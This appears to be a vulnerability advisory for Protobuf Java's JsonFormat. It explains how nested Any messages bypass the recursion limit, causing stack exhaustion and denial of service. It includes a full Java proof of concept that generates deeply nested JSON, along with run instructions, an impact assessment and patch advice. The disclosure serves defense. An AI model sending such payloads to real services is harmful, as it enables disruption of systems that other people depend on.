Protobuf Java JsonFormat Any Nesting Bypasses Recursion Limit Leading to Stack Exhaustion (DoS)
1. Summary
A denial-of-service (DoS) via stack exhaustion is possible in Java com.google.protobuf.util.JsonFormat when parsing deeply nested Any messages, because the configured recursionLimit is not enforced along the mergeAny() path. Specifically, mergeAny() does not increment/check currentDepth, allowing attackers to bypass the recursion limit by repeatedly nesting Any inside Any.
2. Description
In normal message parsing, JsonFormat enforces recursion depth in mergeField() by incrementing currentDepth and checking it against recursionLimit. However, the Any handling path (mergeAny()) does not increment/decrement currentDepth when parsing the embedded message.
When an Any contains another Any (repeatedly nested), wellKnownTypeParsers triggers recursive calls into mergeAny(). Because currentDepth is not updated, the recursion limit is effectively bypassed, and parsing can recurse until the JVM stack is exhausted.
2.1 Expected Flow
-
JsonFormat.parser().merge(...)is called. -
While parsing message fields,
currentDepthis incremented. -
If parsing depth exceeds
recursionLimit, parsing fails with:InvalidProtocolBufferException("Hit recursion limit.")
2.2 Root Cause
mergeAny()does not increment/decrementcurrentDepthwhen it parses the embedded message.- As
Anynesting increases, the depth counter does not reflect the true recursion depth, sorecursionLimitis not enforced. mergeAny()directly invokesmergeMessage()and bypasses the usualmerge()path that performs depth accounting.
3. Proof of Concept (PoC)
Reproduction Code (Full)
poc/java/com/google/protobuf/util/JsonFormatAnyDepthPoC.java
package com.google.protobuf.util;
import com.google.protobuf.Any;
import com.google.protobuf.TypeRegistry;
publicfinalclassJsonFormatAnyDepthPoC {
privatestaticfinalStringTYPE_URL="type.googleapis.com/google.protobuf.Any";
privateJsonFormatAnyDepthPoC() {}
privatestatic StringbuildNestedAnyJson(int depth) {
if (depth <1) {
thrownewIllegalArgumentException("depth must be >= 1");
}
StringBuildersb=newStringBuilder(depth *64);
for (inti=0; i < depth; i++) {
sb.append("{\"@type\":\"").append(TYPE_URL).append("\",\"value\":");
}
sb.append("{}");
for (inti=0; i < depth; i++) {
sb.append('}');
}
return sb.toString();
}
publicstaticvoidmain(String[] args) {
intdepth=150000;
intrecursionLimit=5;
if (args.length >=1) {
depth = Integer.parseInt(args[0]);
}
if (args.length >=2) {
recursionLimit = Integer.parseInt(args[1]);
}
Stringjson= buildNestedAnyJson(depth);
TypeRegistryregistry= TypeRegistry.newBuilder().add(Any.getDescriptor()).build();
JsonFormat.Parserparser=
JsonFormat.parser().usingTypeRegistry(registry).usingRecursionLimit(recursionLimit);
Any.Builderbuilder= Any.newBuilder();
try {
parser.merge(json, builder);
System.out.println(
"Parsed nested Any depth="
+ depth
+" with recursionLimit="
+ recursionLimit
+" (bypass)."
);
}catch (Exception e) {
System.err.println("Parse failed with exception: " + e.getMessage());
e.printStackTrace(System.err);
}catch (StackOverflowError e) {
System.err.println("StackOverflowError (recursion limit bypassed).");
throw e;
}
}
}
How to Run
cd ~/protobuf
bazel run //poc/java:json_format_any_depth_poc -- 150000 5
Example Result
- Even with
recursionLimit=5, parsing does not fail with"Hit recursion limit.". - With sufficiently deep nesting, parsing results in:
StackOverflowError, or- an exception thrown by the JSON parsing layer (depending on depth and environment).
- This demonstrates that
recursionLimitis not applied to nestedAnyparsing.
4. Impact
- If external input (JSON) can include nested
Anyvalues, an attacker can bypass recursion protection and trigger a DoS. - Deep nesting can cause stack overflow, leading to request failure and potential service disruption.
- If unhandled,
StackOverflowErrormay terminate the process depending on the application’s error handling and runtime behavior.
5. Patch Recommendation
- In
mergeAny(), addcurrentDepthincrement/decrement and enforcerecursionLimitconsistently, or - Refactor
Anyembedded parsing so that it always goes through the standardmerge()path (or an equivalent shared helper) that guarantees recursion depth accounting.